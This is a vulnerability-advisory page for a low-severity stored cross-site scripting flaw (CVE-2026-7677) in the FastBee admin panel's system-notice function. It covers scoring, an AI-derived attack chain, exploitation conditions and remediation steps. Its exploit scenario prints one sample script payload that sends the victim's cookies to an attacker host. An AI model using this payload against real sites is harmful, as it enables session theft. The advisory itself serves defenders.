Skip to main content

kerwincui FastBee CVE-2026-7677

| EUVDEUVD-2026-26811 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-05-03 VulDB
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to FastBee admin panel
  2. Delivery
    Navigate to System Notice Handler
  3. Exploit
    Inject XSS payload in noticeContent field
  4. Install
    Submit malicious notice
  5. C2
    Victim admin views notice list
  6. Execute
    Malicious script executes in victim's browser
  7. Impact
    Attacker steals session token or executes unauthorized action

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires authenticated access to the FastBee administrative interface with permissions to create or edit system notices via the SysNoticeController Add function. The noticeContent parameter must be processed and stored without input validation or output encoding. Victims must view the injected notice for the XSS payload to execute in their browsers, satisfying the UI:R (user interaction required) requirement in the CVSS vector. Default installations of FastBee with administrative users or delegated notice management are vulnerable. Non-default configurations that implement additional input filtering or disable the System Notice Handler component would mitigate the risk, but no evidence indicates such hardening is standard or widely deployed.

Impact

CVSS 3.5 (low) with network vector, low complexity, and low integrity impact aligns with typical stored XSS requiring authentication and user interaction. However, several contextual factors elevate practical risk: (1) publicly available exploit code reduces barrier to exploitation, (2) vendor non-responsiveness means no patch timeline, (3) the vulnerability affects administrative functions (System Notice Handler), suggesting potential for lateral movement or privilege escalation if admin notices are displayed to high-privilege users, (4) stored nature means injected payloads persist indefinitely until manually removed. The CVSS E:P (exploit proof-of-concept exists) and RC:R (reasonable confidence) tags confirm public exploitability. This is not a high-severity vulnerability by CVSS, but the combination of availability of working exploits, vendor abandonment, and persistence in an admin interface makes it a medium priority for organizations running FastBee. Organizations should weigh the low CVSS against their reliance on FastBee and the administrative sensitivity of the affected component.

Exploit ScenarioDerived

An authenticated administrator or lower-privilege user with access to the System Notice creation function injects a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into the noticeContent field. The payload is stored in the database and rendered without sanitization. When other users (including higher-privilege admins) view the notices page, the JavaScript executes in their browsers, stealing session cookies, triggering unauthorized actions, or redirecting them to a phishing site. Public exploit code reduces the technical skill required to craft and deliver such payloads.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 03, 2026

Stored cross-site scripting (XSS) in kerwincui FastBee up to version 1.2.1 allows authenticated remote attackers to inject malicious scripts via the noticeContent parameter in the System Notice Handler component, which are then executed in the browsers of other users viewing notices. The vulnerability requires user interaction (victims must view the injected notice) and authenticated access, limiting immediate attack scope, though publicly available exploit code and vendor non-responsiveness increase real-world risk.

RemediationAI

No vendor-released patch is available, as the vendor did not respond to early disclosure contact. Immediate mitigations include: (1) Upgrade to a version newer than 1.2.1 if available from an alternative source or fork, though this is not confirmed; (2) Implement input validation and output encoding for the noticeContent parameter at the application level by modifying SysNoticeController.java to sanitize all user-supplied content using a whitelist-based HTML sanitizer (e.g., OWASP AntiSamy, DOMPurify) before storage and encoding output using context-appropriate encoding (e.g., HTML entity encoding) before rendering; (3) Restrict access to the System Notice Handler to a minimal set of trusted administrators and implement strict role-based access control; (4) Deploy a Web Application Firewall (WAF) with rules to detect and block common XSS payloads in the noticeContent parameter; (5) Audit the database for existing malicious notices and purge them. Consider migrating to an actively maintained alternative if FastBee is mission-critical, given vendor abandonment.

Affected VersionsENISA

FastBee 1.2.1
FastBee 1.2.0

Affected Packages

euvd fastbee no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the SysNoticeController.java file within the springboot/fastbee-admin module, specifically in the Add function that processes the noticeContent parameter. The root cause is improper input validation and output encoding for user-supplied content in the System Notice Handler component, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The affected CPE is a:kerwincui:fastbee:* (all versions through 1.2.1), indicating the flaw affects the core FastBee administrative interface. The Java-based Spring Boot application fails to sanitize or encode the noticeContent field before storing it in the database and rendering it to other authenticated users, creating a stored XSS vector.

Know when Fastbee gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
May 03, 2026 - 05:22 NVD
3.5 (LOW) 2.0 (LOW)
PoC Detected
May 03, 2026 - 05:15 vuln.today
Public exploit code
CVE Published
May 03, 2026 - 03:15 nvd
LOW 2.0

DescriptionCVE.org

A vulnerability was determined in kerwincui FastBee up to 1.2.1. The impacted element is the function Add of the file springboot/fastbee-admin/src/main/java/com/fastbee/web/controller/system/SysNoticeController.java of the component System Notice Handler. This manipulation of the argument noticeContent causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Related Vulnerabilities in kerwincui FastBee Multiple Vulnerabilities

View all 2

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy